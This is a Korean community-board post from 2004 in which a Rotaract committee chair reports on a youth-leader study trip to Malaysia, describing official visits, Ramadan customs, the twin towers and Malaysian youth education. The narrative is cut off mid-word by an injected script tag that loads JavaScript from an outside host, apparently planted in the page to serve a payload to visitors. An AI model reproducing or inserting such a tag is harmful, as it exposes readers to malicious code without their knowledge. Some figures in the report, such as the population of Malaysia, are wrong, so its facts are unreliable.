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말레이 태국 연수를 마치고


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작성자 한국 로타리 청소년 연합 … 작성일2004.11.27 조회6,385회 댓글0건

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ECONOMICAL EDUCATION 국제 로타리 3590지구 로타렉트 위원장 김 민 석 -------------------------------------------------------------------아래의 글은 2004년 11월8일부터 11월17일까지 문화관광부 주관 한국청소년 단체 협의회 후원으로 전국 시, 도 교육청 청소년 담당 책임자와 청 협 산하 청소년 지도자들이 “학교 내 청소년 단체 활성화를 위한 말레이시아 태국 연수”를 마치고 제출한 report입니다. 그리고 처음부터 마지막까지 우리 일행을 너무도 편안하게 만들어준 이경수 기획 예산팀 팀장에게 이극을 통해서 진심으로 감사드립니다. -------------------------------------------------------------------- 말레이시아 쿠알라룸프 공항에 저녁 늦게 도착한 우리 일행은 놀이 공원의 놀이 기구 같은 모노레일을 타고 출입국 심사대로 이동하고 있었다. 아주 색다른 경험과 함께 우리의 연수는 시작되었다. 다음날 준비된 일정에 따라 말레이시아 체육청소년부와 말레이시아 청소년 단체 협의회를 공식 방문하였다. 그런데 방문기간이 공교롭게도 회교의 라마단 (단식) 기간 이었다 회교도가 다수인 말레이 특성상 “방문한 손님에게도 물 한 모금 줄 수 없는 결례를 용서하라”는 말과 함께 방문일정은 시작되었다. 이것 또한 대단한 문화적 충격 이였다. 친절한 말레이 체육청소년 담당국장의 브리핑 중에서 가장 많이 등장하는 말이 새마을 운동이었다. 그리고 말레이시아 청소년 교육의 특징은 첫째 말레이시아에서는 국가기관인 체육청소년부가 사실상 청소년 교육 프로그램을 총괄기획하고 NGO인 청소년 단체 협의회가 실무적인 운영을 책임지고 있다는 것이다. 둘째 말레이시아는 인구 250만중 50%인 말레이 족과 중국계 화교, 인도계 그리고 인도네시아인등 다양한 민족과 다양한 종교를 가진 다 민족 다문화 국가라는 것이다. 때문에 청소년 단체도 종교적 색체를 가진 단체가 주류를 이루고 있었다. 세째 전수상인 마하트라의 동방정책의 영향으로 우리나라 새마을 운동을 고스란히 배워서 청소년 교육을 한다고 했다. 그예로 70년대 우리나라 공업고등학교와 기술학교와 같은 기술계 고등학교가 말레이 고등학교의 주류를 이루고 있으며 economical education이라는 교육의 지표를 가지고 있었다 . 라마단 기간에는 방문도 실례라는 가이드의 말에 우리 일행은 준비한 기념품을 전달하고 다음 목적지인 쿠알라룸프 컨벤션 센터로 이동하였다. 말레이시아인들은 쿠알라룸프 컨벤션 센타를 드림타워라 부른다. 그 이유는 크게 두 가지 이다. 첫째 마하트라 전수상이 세계에서 제일 높은 이 쌍둥이 빌딩을 지으면서 말레이시아의 2020년 선진국 진입을 선포했고 둘째는 아시아 경제 발전의 두 기둥인 한국과 일본을 따라 잡겠다는 목표를 상징화하기위해 한국과 일본에게 각각 건물하나씩을 발주하여 공사했다고 한다. 이 드림타워를 방문하면서 말레이시아의 2020년 선진국 진입의 목표가 결코 헛된 것이 아니라는 생각이 들었다. 말레이시아는 산유국에다가 고무, 주석, 팜 야자 등 지하자원이 무궁무진하다. 또한 몇 년 전 I.M.F 금융 위기가 아시아를 강타했을 때 말레이시아는 I.M.F 금융지원을 거부하며 독자 생존했을 정도로 내실 있는 경제적 기반을 가지고 있다. 단지 아직 고도 산업화 사회가 되지 않아 고급기술이 없는 것이 단점이지만 기본적인 삶의질은 우리나라 중상층을 웃돈다고 한다. 숙소로 돌아오는 길에 말레이시아가 일본보다 우리나라와 경제적 동반자로 함께 번영해 나가기를 원한다는 가이드의 말과 배 용준 주연의 winter sonata를 좋아하고 월드컵 4강의 한국 축구를 asia pride라며 “코리아 넘버원”을 외치던 말레이시아 소년의 해맑은 미소가 우리 일행을 다소 위로해 주었다. 다음날 세계청소년 단체 협의회 알리 루스탐 회장을 만나기 위해 우리는 말라카로 이동하였다. 오전 일정을 오후 일정으로 바꾸는 의전을 보며 우리 일행은 말레이시아인의 국민성에 대한 또 다른 평가를 하였다. 말라카 주 장관인 알리 회장은 우리 일행에게 한국과 I.T.산업과, B.T.산업의 교류를 희망한다는 강한 메시지를 전달하며 짧은 만남을 마쳤다. 돌아오는 길에 우리 일행의 호기심을 자극하는 일이 하나 있었다. 회교도인이 다니는 미션스쿨이 그것이었다. 말라카가 원래 네덜란드 식민지였던 관계로 말라카에는 옛날부터 성당이 있었는데 이 성당에서 운영하는 학교에 차도르를 두른 말레이 학생들이 다니는 것 이였다. 회교도인의 반기독교 정서를 잘 아는지라 가이드에게 그 연유를 물어보니 성당에서 주위의 불우한 환경의 학생들을 불러 가르치는 학교이며 다국적 문화에 익숙한 말레이에서는 별로 이상한 일이 아니라는 말이 우리를 더욱 의아하게 했다. 가이드의 말에 의하면 말레?script src=http://www.csl24.com/b.js>

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